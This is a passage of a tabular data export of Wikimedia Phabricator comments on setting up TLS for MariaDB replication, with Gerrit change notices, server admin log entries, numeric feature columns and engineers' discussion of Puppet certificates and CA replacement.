In any case, we should definitely be prepared to do certificate replacements ""lightly"", for no other reason than our preparedness in case of security incidents — think of the Debian predictable certificates a few years back, or, more recently, Heartbleed. I do realize how challenging this can be; but such an emergency *will* happen, it's just a matter of time.",,,1461863279,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1.5,0.0,0.0,0.0,0.5,5.5,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,3.0,0.5,10.5,9.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,3.0,2.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,12.5,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,5.0,2.0,5.5,0.5,2.5,9.5,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,9.5,1.0,0.0,1.5,0.0,5.0,0.0,0.5,3.0,0.5,1.0,1.0,0.0,0.0,3.9785714285714286,0.8214285714285714,"QUOTE
QUOTE

We want to change the puppet CA anyway, as this is presenting problems elsewhere as well (including on the puppet infrastructure itself) — so this will happen at some point, hopefully not too far off. Eventually we'd like to replace it with a proper PKI system, but that's a longer way off.

In any case, we should definitely be prepared to do certificate replacements ""lightly"", for no other reason than our preparedness in case of security incidents — think of the Debian predictable certificates a few years back, or, more recently, Heartbleed. I do realize how challenging this can be; but such an emergency *will* happen, it's just a matter of time."
653622,Set up TLS for MariaDB replication,"Change 278052 abandoned by Volans:
[WIP] DB: Use generated CA for the TLS transition

[[https://gerrit.wikimedia.org/r/278052]]",,,1461863252,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.52,0.8,"Change 278052 abandoned by Volans:
[WIP] DB: Use generated CA for the TLS transition

[[GERRIT_URL]]"
653611,Set up TLS for MariaDB replication,"> we should have a separate task for that

BTW, that has not been done because I do not expect to be able to finish this task in less than 6 months (and such a task would be blocked by it). My estimation is that it takes around 1 year to do a full MySQL rolling restart.",,,1461862378,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,4.0,4.0,5.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,11.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,7.0,15.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,2.0,2.0,0.0,0.0,3.4,0.8181818181818182,"QUOTE

BTW, that has not been done because I do not expect to be able to finish this task in less than 6 months (and such a task would be blocked by it). My estimation is that it takes around 1 year to do a full MySQL rolling restart."
653607,Set up TLS for MariaDB replication,"Changing the cert would be blocked by doing another failover, as it would require another full restart and would stop replication from working (it cannot be done in a hot way). Not something to take lightly.

In fact, with some kind of persistent connections (planed for a proxy/mediawiki) connection speed (large certs) would not be an issue.",,,1461862156,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1.0,1.0,0.0,3.0,4.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,4.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.7777777777777778,"Changing the cert would be blocked by doing another failover, as it would require another full restart and would stop replication from working (it cannot be done in a hot way). Not something to take lightly.

In fact, with some kind of persistent connections (planed for a proxy/mediawiki) connection speed (large certs) would not be an issue."
653603,Set up TLS for MariaDB replication,"Thanks for the update, @volans. Could you also briefly mention and/or update the task description with some numbers (how many slaves are TLS-enabled, how many are left) and a rough estimate of what would be required to complete this work?

Client connections is a bit off-topic to this task (which is about replication) — we should have a separate task for that — could you guys take care of that? We should probably block it on a task to replace the 4K RSA puppet CA.",,,1461861694,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1.5,0.0,0.0,1.0,0.0,2.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,3.0,0.5,1.0,0.5,1.5,0.0,1.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.5,2.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.5,6.5,1.0,1.0,10.5,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,4.5,9.0,4.0,1.5,0.0,0.0,4.5,0.0,2.5,3.5,0.0,0.0,0.0,0.0,0.0,3.846470588235294,0.8511764705882352,"Thanks for the update,SCREEN_NAME. Could you also briefly mention and/or update the task description with some numbers (how many slaves are TLS-enabled, how many are left) and a rough estimate of what would be required to complete this work?

Client connections is a bit off-topic to this task (which is about replication) — we should have a separate task for that — could you guys take care of that? We should probably block it on a task to replace the 4K RSA puppet CA."
653561,Set up TLS for MariaDB replication,"= Update on current Status
=== MySQL Replica
- Thanks to the switchover to codfw we were able to complete the coredb masters failover/restart on eqiad hence now the circular replication eqiad<->codfw is using TLS with Puppet's certificates (one per host with FQDN that allows to verify the server's certificate on connection).
- Slaves within the same datacenter are getting the new certificates through the usual rolling restart of them that will continue as usual.

=== Clients connections
While it is now possible to connect to MySQL using TLS using the client's host Puppet certificate, it could not easily be used for all connections because:
- the MySQL client needs to support OpenSSL, not YaSSL
- current Puppet's certificates are at 4096 bytes, their overhead must be tested and probably would be better to use 2048 bytes certificates
- to be able to verify the connection the FQDN needs to be used, that will surely use also the DNS that is avoided in many cases.",,,1461857620,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,43,True,1.0,0.0,0.0,2.0,1.0,6.5,2.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,4.5,13.0,0.0,4.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.5,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,1.0,2.5,0.0,1.5,0.0,0.5,0.0,15.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.0,5.5,10.0,1.0,0.5,7.0,0.0,0.0,0.0,0.0,7.5,0.0,2.0,0.0,3.0,13.0,7.5,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.5,2.0,0.5,0.0,0.5,4.232334621993127,0.6785867697594502,"= Update on current Status
=== MySQL Replica
- Thanks to the switchover to codfw we were able to complete the coredb masters failover/restart on eqiad hence now the circular replication eqiad<->codfw is using TLS with Puppet's certificates (one per host with FQDN that allows to verify the server's certificate on connection).
- Slaves within the same datacenter are getting the new certificates through the usual rolling restart of them that will continue as usual.

=== Clients connections
While it is now possible to connect to MySQL using TLS using the client's host Puppet certificate, it could not easily be used for all connections because:
- the MySQL client needs to support OpenSSL, not YaSSL
- current Puppet's certificates are at 4096 bytes, their overhead must be tested and probably would be better to use 2048 bytes certificates
- to be able to verify the connection the FQDN needs to be used, that will surely use also the DNS that is avoided in many cases."
649378,Set up TLS for MariaDB replication,"Change 284668 abandoned by Volans:
Skip SSL options when using socket connection

[[https://gerrit.wikimedia.org/r/284668]]",,,1461236744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,25.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,15.0,4.3,0.9,"Change 284668 abandoned by Volans:
Skip SSL options when using socket connection

[[GERRIT_URL]]"
649373,Set up TLS for MariaDB replication,"Change 284668 had a related patch set uploaded (by Volans):
Skip SSL options when using socket connection

[[https://gerrit.wikimedia.org/r/284668]]
",,,1461235109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 284668 had a related patch set uploaded (by Volans):
Skip SSL options when using socket connection

[[GERRIT_URL]]
"
648817,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQz0TZEgCrwkbTdmBaV} [2016-04-20T13:17:09Z] <jynus> [switchover-maintenance] Changing DB slave topology for shard s1 on eqiad T111654",,,1461158229,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,3.55,0.825,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-20T13:17:09Z] <jynus> [switchover-maintenance] Changing DB slave topology for shard s1 on eqiad T111654"
648796,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzwXWy1EdYBLP_7pOH} [2016-04-20T12:59:57Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s4 on eqiad T111654",,,1461157197,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.575,0.825,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-20T12:59:57Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s4 on eqiad T111654"
648791,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzvF6R1EdYBLP_7pOD} [2016-04-20T12:54:23Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s5 on eqiad T111654",,,1461156863,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.575,0.825,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-20T12:54:23Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s5 on eqiad T111654"
648787,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQztzv_gCrwkbTdmBZu} [2016-04-20T12:48:47Z] <jynus> [switchover-maintenance] Changing DB slave topology for shard s3 on eqiad T111654",,,1461156527,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,3.55,0.825,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-20T12:48:47Z] <jynus> [switchover-maintenance] Changing DB slave topology for shard s3 on eqiad T111654"
648779,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzrOF6D0x0K5Df_VCU} [2016-04-20T12:37:28Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s6 on eqiad T111654",,,1461155848,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.575,0.825,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-20T12:37:28Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s6 on eqiad T111654"
648773,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzmpoG1EdYBLP_7pNl} [2016-04-20T12:17:30Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s7 on eqiad T111654",,,1461154651,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.575,0.825,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-20T12:17:30Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s7 on eqiad T111654"
648702,Set up TLS for MariaDB replication,"Change 283771 merged by Jcrespo:
MariaDB: complete TLS and master configuration

[[https://gerrit.wikimedia.org/r/283771]]",,,1461146498,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.3,0.85,"Change 283771 merged by Jcrespo:
MariaDB: complete TLS and master configuration

[[GERRIT_URL]]"
646894,Set up TLS for MariaDB replication,"Change 283771 had a related patch set uploaded (by Volans):
[codfw-rollout] MariaDB: use Puppet cert for all core DBs

[[https://gerrit.wikimedia.org/r/283771]]
",,,1460821619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.4411764705882355,0.8529411764705882,"Change 283771 had a related patch set uploaded (by Volans):
[codfw-rollout] MariaDB: use Puppet cert for all core DBs

[[GERRIT_URL]]
"
646749,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQbvVutgCrwkbTdl_sM} [2016-04-15T21:04:35Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool new db1075,1077,1078 after TLS upgrade on s3 - T111654 (duration: 00m 36s)",,,1460754275,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.549019607843137,0.8431372549019608,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T21:04:35Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool new db1075,1077,1078 after TLS upgrade on s3 - T111654 (duration: 00m 36s)"
646747,Set up TLS for MariaDB replication,"Change 283748 merged by jenkins-bot:
Repool with low weight new s3 DB after TLS upgrade

[[https://gerrit.wikimedia.org/r/283748]]",,,1460754154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6,0.92,"Change 283748 merged by jenkins-bot:
Repool with low weight new s3 DB after TLS upgrade

[[GERRIT_URL]]"
646743,Set up TLS for MariaDB replication,"Change 283748 had a related patch set uploaded (by Volans):
Repool with low weight new s3 DB after TLS upgrade

[[https://gerrit.wikimedia.org/r/283748]]
",,,1460753324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6333333333333333,0.9,"Change 283748 had a related patch set uploaded (by Volans):
Repool with low weight new s3 DB after TLS upgrade

[[GERRIT_URL]]
"
646495,Set up TLS for MariaDB replication,"Change 283648 merged by Volans:
MariaDB: use Puppet cert for s3 cross-dc replica

[[https://gerrit.wikimedia.org/r/283648]]",,,1460725408,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5416666666666665,0.875,"Change 283648 merged by Volans:
MariaDB: use Puppet cert for s3 cross-dc replica

[[GERRIT_URL]]"
646472,Set up TLS for MariaDB replication,"Change 283648 had a related patch set uploaded (by Volans):
MariaDB: use Puppet cert for s3 cross-dc replica

[[https://gerrit.wikimedia.org/r/283648]]
",,,1460723317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5161290322580645,0.9032258064516129,"Change 283648 had a related patch set uploaded (by Volans):
MariaDB: use Puppet cert for s3 cross-dc replica

[[GERRIT_URL]]
"
